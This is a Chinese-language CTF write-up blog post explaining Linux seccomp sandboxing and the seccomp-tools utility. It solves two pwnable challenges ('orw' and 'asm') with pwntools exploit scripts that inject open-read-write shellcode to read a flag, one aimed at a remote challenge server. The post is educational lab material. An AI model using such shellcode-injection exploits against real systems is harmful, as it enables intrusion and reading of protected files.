pwn 之 沙箱機制

  • 2022 年 4 月 25 日
  • 筆記

0x00: 簡介

       沙箱機制,英文sandbox,是電腦領域的虛擬技術,常見於安全方向。一般說來,我們會將不受信任的軟體放在沙箱中運行,一旦該軟體有惡意行為,則禁止該程式的進一步運行,不會對真實系統造成任何危害。

        安全計算模式seccompSecure Computing Mode)在Linux2.6.10之後引入到kernel的特性,可用其實現一個沙箱環境。使用seccomp模式可以定義系統調用白名單和黑名單。seccomp機制用於限制應用程式可以使用的系統調用,增加系統的安全性。

ctf中主要通過兩種方式實現沙箱機制:

  • prctl系統調用;
  • seccomp庫函數;

 

0x01: 函數限制檢測工具seccomp-tools

安裝:

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

 使用:

 

 

0x02: 例題實踐

Pwnable_orw:

通過checksec可以看出其架構,遠程的也是這個。

如果使用shellcraftasm模組,要配置相對應的架構,可以通過context.binary = “./xxx”自動地完成配置。

 

 

seccomp-tools dump ./orw檢查受限函數:

允許的函數主要有openreadwrite系統調用函數,用這個函數讀取flag

 

 

 

32位的IDA打開進行分析:

沒有數據段不可執行保護,所以直接往bss裡面寫shellcode就可以了。通過shellcode寫入後,後面第6行就進行執行了。

 

Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw"

io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060

payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil(
"Give my your shellcode:") io.sendline(asm(payload)) print(io.recv())

 

Pwnable_asm:

先用checksec工具檢查架構和其保護機制,然後使用seccomp-tools工具檢查受限制函數(這步是在打開IDA後,看到sandbox函數後進行的)。

 

 

從圖可以看出,僅被允許的系統調用有:read()write()open()exit()。(這個在IDA的注釋裡面也有說明~

 

64IDA打開分析程式:

 

 

函數分析:

  • 12行用mmap映射了一段0x1000B大小的匿名空間,起始地址為s = 0x41414000
  • 13行將開闢的空間用144進行初始化,144是啥?0x90。根據注釋說是用shellcode解法,應該是製作了nop滑梯。
  • 15行將stub數組賦給了匿名空間前段,stud是啥?由於ida中該數組的值顯示有點零散,所以我就在pwnable網站查看了源程式碼:stud[46] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48”,反彙編:(其實就是清空暫存器,好像不影響寫入shellcode
  • 17行接著向後面輸入數據,關鍵點:寫入我們想要shellcode進行執行。
  • 19chroot(directory):將該進程的根目錄改為directory。可以防止我們找不到遠程中的路徑,我們直接open(“./flag”)就行。
  • 20sandbox開沙箱機制嘛~
  • 21行應該是ida分析有誤,源程式碼是沒有參數的:((void (*)(void))s)();就是從s那裡開始執行。

 

分析完程式,已經很明顯了,和上一題一樣。通過17行寫入shellcode,然後21行會進行執行。

Exp:

from pwn import *
context.log_level = 'debug'
context.binary = './asm'

#io = process("./asm")
io = remote("node4.buuoj.cn",26533)

addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30)

io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())

 

0x03: 最後

初步接觸,有些地方沒思考得太透。所以,有疑惑的朋友可以在評論區提出,互相交流學習。


 

tolele

2022-04-25